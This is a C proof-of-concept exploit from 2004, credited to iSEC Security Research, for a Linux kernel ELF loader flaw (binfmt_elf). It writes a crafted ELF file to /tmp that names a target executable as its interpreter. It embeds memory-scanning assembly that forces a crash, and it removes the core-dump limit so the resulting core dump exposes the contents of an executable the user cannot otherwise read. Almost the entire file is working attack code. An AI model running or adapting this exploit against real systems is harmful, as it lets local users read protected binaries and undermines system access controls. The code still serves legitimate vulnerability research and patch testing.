Linux Kernel ELF Binary Loader Local Proof of Concept/*
*
* binfmt_elf executable file read vulnerability
*
* gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <linux/elf.h>
#define BADNAME "/tmp/_elf_dump"
void usage(char *s)
{
printf("\nUsage: %s executable\n\n", s);
exit(0);
}
// ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
// "1: jmp 1b \n"
" xorl %edi, %edi \n"
" movl %esp, %esi \n"
" xorl %edx, %edx \n"
" xorl %ebp, %ebp \n"
" call get_addr \n"
" movl %esi, %esp \n"
" movl %edi, %ebp \n"
" jmp inst_sig \n"
"get_addr: popl %ecx \n"
// sighand
"inst_sig: xorl %eax, %eax \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
"ld_page: movl %ebp, %eax \n"
" subl %edx, %eax \n"
" cmpl $0x1000, %eax \n"
" jle ld_page2 \n"
// mprotect
" pusha \n"
" movl %edx, %ebx \n"
" addl $0x1000, %ebx \n"
" movl %eax, %ecx \n"
" xorl %eax, %eax \n"
" movb $125, %al \n"
" movl $7, %edx \n"
" int $0x80 \n"
" popa \n"
"ld_page2: addl $0x1000, %edi \n"
" cmpl $0xc0000000, %edi \n"
" je dump \n"
" movl %ebp, %edx \n"
" movl (%edi), %eax \n"
" jmp ld_page \n"
"dump: xorl %eax, %eax \n"
" xorl %ecx, %ecx \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
" movl $0xdeadbeef, %eax \n"
" jmp *(%eax) \n"
);
}
static volatile void bad_code_end(void)
{
}
int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;
if(ac<2)
usage(av[0]);
// make bad a.out
fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
nl = strlen(av[1])+1;
memset(&eh, 0, sizeof(eh) );
// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 2;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );
// section header(s)
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_INTERP;
eph.p_offset = sizeof(eh) + 2*sizeof(eph);
eph.p_filesz = nl;
write(fd, &eph, sizeof(eph) );
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = 0x0000;
eph.p_flags = PF_R|PF_X;
write(fd, &eph, sizeof(eph) );
// .interp
write(fd, av[1], nl );
// execable code
nl = &bad_code_end - &bad_code;
lseek(fd, 4096, SEEK_SET);
write(fd, &bad_code, 4096);
close(fd);
// dump the shit
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
if( setrlimit(RLIMIT_CORE, &rl) )
perror("\nsetrlimit failed");
fflush(stdout);
pid = fork();
if(pid)
wait(NULL);
else
execl(BADNAME, BADNAME, NULL);
printf("\ncore dumped!\n\n");
unlink(BADNAME);
return 0;
}